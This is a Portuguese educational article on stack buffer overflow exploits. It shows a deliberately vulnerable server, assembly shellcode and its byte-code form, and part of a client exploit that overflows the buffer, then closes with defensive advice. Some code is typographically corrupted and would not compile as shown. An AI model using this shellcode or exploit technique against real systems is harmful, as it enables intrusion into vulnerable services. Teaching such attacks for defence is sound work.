A criação de novas técnicas de ataque é apenas uma questão de tempo. Por exemplo, uma técnica mais recente que o buffer overflow, e muito mais complexa do que esta, é a exploração do Format String Bug, detalhada com muita precisão em (THUEMMEL,2001).
Na seção 4 será apresentado, passo a passo, um exemplo de um exploit baseado no estouro da pilha.
Essa variante de exploit foi escolhida para ser analisada aqui por ser, dentre as técnicas de explorações de buffer overflow, a de menor dificuldade de implementação e a que mais tem sido usada ultimamente.

Um exemplo de exploit baseado no buffer overflow de pilha

Em um ataque de estouro da pilha, normalmente o atacante terá que responder as seguintes questões antes de poder construir o exploit propriamente dito:
Qual o tamanho do buffer?: em softwares livres isso é facilmente conseguido pelo fato dos fontes do programas serem de domínio público. Aqui não há demérito algum para o software livre uma vez que, fazendo um paralelo com a criptografia, conforme (UCHOA,2003), a segurança baseada na obscuridade é
restrita e deve ser evitada.

O que vai ser executado dentro do código malicioso?: para responder a essa pergunta o atacante deve conhecer uma linguagem de baixo nível, preferencialmente C, que será utilizada para construir o exploit. Além disso, é necessário que se conheça também um pouco de Assembly e do programa de
depuração gdb. A premissa utilizada aqui é fazer um programa tão poderoso que faça todo o trabalho necessário e tão pequeno que caiba dentro da área de buffer.

Normalmente, a seqüência é: criar o programa em C, compilá-lo, abri-lo com o gdb, “anotar” os códigos binários das instruções referentes ao trecho necessário. Esses códigos anotados do gdb serão guardados em uma variável do exploit, que os utilizará na construção da mensagem que será enviada ao servidor.

Como “estourar” o buffer do servidor?: aqui, principalmente, é onde entra a especificidade de cada exploit. Novamente o atacante se utiliza do conhecimento dos fontes dos programas para conhecer todos os fatos necessários ao ataque. Não fosse o conhecimento dos fontes, isso ainda seria possível pelo menos de duas formas diferentes: ou através de engenharia reversa, utilizando-se de uma ferramenta de depuração (gdb, por exemplo), ou através da tentativa e erro, enviando grandes strings em qualquer parte do
programa em que há entrada de dados por parte do usuário.
O código 2 mostra um trecho do programa que será alvo do ataque. Trata-se aqui de um programa muito simples que tem por finalidade apenas servir aos propósitos didáticos deste trabalho. O programa implementa apenas duas funções: a função main(), que é responsável por “ouvir” a porta UDP 1234 e a função TrataMensagem(), que é chamada a cada mensagem recebida pelo servidor.
O programa cliente será o exploit, que preparará uma mensagem de forma tal que provoque o buffer overflow no servidor. Esse ataque abrirá, no servidor, um backdoor que será usado em seguida pelo atacante para continuar seu “trabalho”.

Procurando responder a segunda questão colocada no início desta seção, foi desenvolvido o código apresentado no codigo 3. Neste trabalho, a única ação do atacante será criar o arquivo /bin/sx. Outros comandos poderiam ser acrescentados ao código para efetuar outras ações, como, por exemplo, incluir um usuário no arquivo /etc/passwd. Para criar o arquivo /bin/sx foi usada a system call sys_creat, através da instrução int 0×80. Após criar o arquivo, o exploit simplesmente encerra a execução do servidor.

listen(Sock, 1);
while(1){
Tam = sizeof(struct sockaddr_in);
if((Novo=accept(Sock, (struct sockaddr *)&Cliente,&Tam))==1) exit(1);
memset(Mens,0,strlen(Mens));
if(read(Novo,Mens,sizeof(Mens)) < 0) exit(2);
TrataMensagem(Mens);
close(Novo);
}
void TrataMensagem(char *Mens){
char Buffer[256];
strcpy(Buffer,Mens); /* VULNERABILIDADE: caso Mens seja maior que 256, haverá o estouro*/
.
.
.
}

Código 2: Trecho do programa servidor alvo do ataque

void main() {
__asm__("
jmp INICIO
FUNCAO:
pop %esi
xor %eax,%eax
movb %eax,7(%esi)
mov %esi,%ebx
movb $0x8,%al
mov $0xfffff1ff,%ecx
int $0x80
movb $1,%al
xorl %ebx,%ebx
int $0x80
INICIO:
CALL FUNCAO
.string \"/bin/sx \"
");
}

Código 3: Código malicioso em assembly

No código 3 pode ser visto o código Assembly para esse pequeno programa. Para compilar o
programa, foi usado o comando: gcc -g -o prog prog.c -ldb.

unsigned char cod[]={
0xeb,0×1f,
0×90,0×90,0×90,0×90,
0×5e,
0×31,0xc0,
0×88,0×46,0×07,
0×89,0xf3,
0xb0,0×08,
0xb9,0xff,0xf1,0xff,0xff,
0xcd,0×80,
0xb0,0×01,
0×31,0xdb,
0xcd,0×80,
0×90,0×90,0×90,0×90,
0xe8,0xe0,0xff,0xff,0xff,0};

Código 4: Versão em byte code do código malicioso

O atacante deve conhecer previamente o endereço da área de memória onde está o comando que será executado. Outro endereço a ser descoberto em tempo de execução é o da string que contém o nome do arquivo a ser criado. Aqui, foi utilizada a técnica descrita em (ARANHA,2003), que consiste em iniciar o programa com um salto para uma instrução imediatamente anterior ao endereço que se quer conhecer. Em seguida o programa deve ser desviado para o restante do código através da execução da intrução call. Dessa forma, o endereço da string é armazenado na pilha, podendo, assim, ser lido pelo restante do código malicioso.

Usando o gdb, o código malicioso deve ser exportado em formato hexadecimal. Nesse caso pode ser usado o comando do gdb: x/bx . A saída hexadecimal do código pode ser vista no codigo 4.

O codigo 5 mostra a parte do código do exploit responsável por montar o buffer e enviá-lo para o servidor. Como pode ser visto, o código do exploit em si é muito simples. Na verdade, a grande dificuldade reside nos passos anteriores, onde devem ser identificados os endereços de dados e de funções que serão usados pelo código malicioso quando este estiver executando no servidor alvo.

#include
#define TAM_BUFFER 256
unsigned char cod[]={
0xeb,0×1f,
0×90,0×90,0×90,0×90,
0×5e,
0×31,0xc0,
0×88,0×46,0×07,
0×89,0xf3,
0xb0,0×08,
0xb9,0xff,0xf1,0xff,0xff,
0xcd,0×80,
0xb0,0×01,
0×31,0xdb,
0xcd,0×80,
0×90,0×90,0×90,0×90,
0xe8,0xe0,0xff,0xff,0xff,0};
char comando[]=”/bin/sx “;
main(int argc, char **argv)
{
unsigned char Buffer[TAM_BUFFER+9];
long end;
end=0xbffff71c;
memset(Buffer,’A',TAM_BUFFER);
strcpy(Buffer,cod);
strcat(Buffer,comando);
Buffer[strlen(Buffer)]=’A';
*(long *)&Buffer[TAM_BUFFER] = 0xcacacaca;
*(long *)&Buffer[TAM_BUFFER+4] = end;
Buffer[TAM_BUFFER+8] = 0;
.
.
.
if(connect(Sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) exit(1);
write(Sock, Buffer, TAM_BYFFER+20);
}

Código 5: Primeira parte do exploit

Conclusão

As técnicas aqui mostradas, e muitas outras, estão disponíveis em diversos sites da Internet, mostrando a dialética aí envolvida, onde a própria Internet traz em si os elementos capazes de destruí-la, mas que ao mesmo tempo, são a fonte de seu desenvolvimento. Enquanto os atacantes se utilizam de falhas deixadas ao longo do desenvolvimento da Internet, as equipes de desenvolvimento e segurança se utilizam das técnicas empregadas pelo atacantes – geralmente técnicas avançadas de programação – para produzir seus
antídotos, bem como novas funcionalidades.

Como ações de proteção contra esses ataques, recomenda-se a atualização constante do sistema, aplicando-se os patches necessários, ou mesmo promovendo os devidos upgrades de versão.
Para os programadores, a recomendação não poderia ser outra: atenção! Muita atenção! O menor descuido pode ser a oportunidade que o atacante precisa. Deve-se, sempre que possível, evitar funções que podem causar buffer overflow, tais como strcpy, que deve ser substituída por sua equivalente strncpy.
Ao usar funções passíveis de exploração pela técnica Format String Bug, tais como printf, evitar aplicar a essas funções os valores fornecidos diretamente pelo usuário do programa. Se possível, substituir a libc por versões seguras de biblioteca padrão, tais como a libmib (http://www.mibsoftware.com/libmib/astring/)
ou libsafe (http://www.research.avayalabs.com/project/libsafe/).

Afinal, ninguém pode dizer que está livre de ser atacado, porém esse fato não deve ser desculpa para que não se procure, por todos os meios possíveis, impor aos atacantes, senão uma missão impossível, pelo menos uma tarefa extremamente árdua.

Créditos: Aléxis Rodrigues de Almeida

~bye~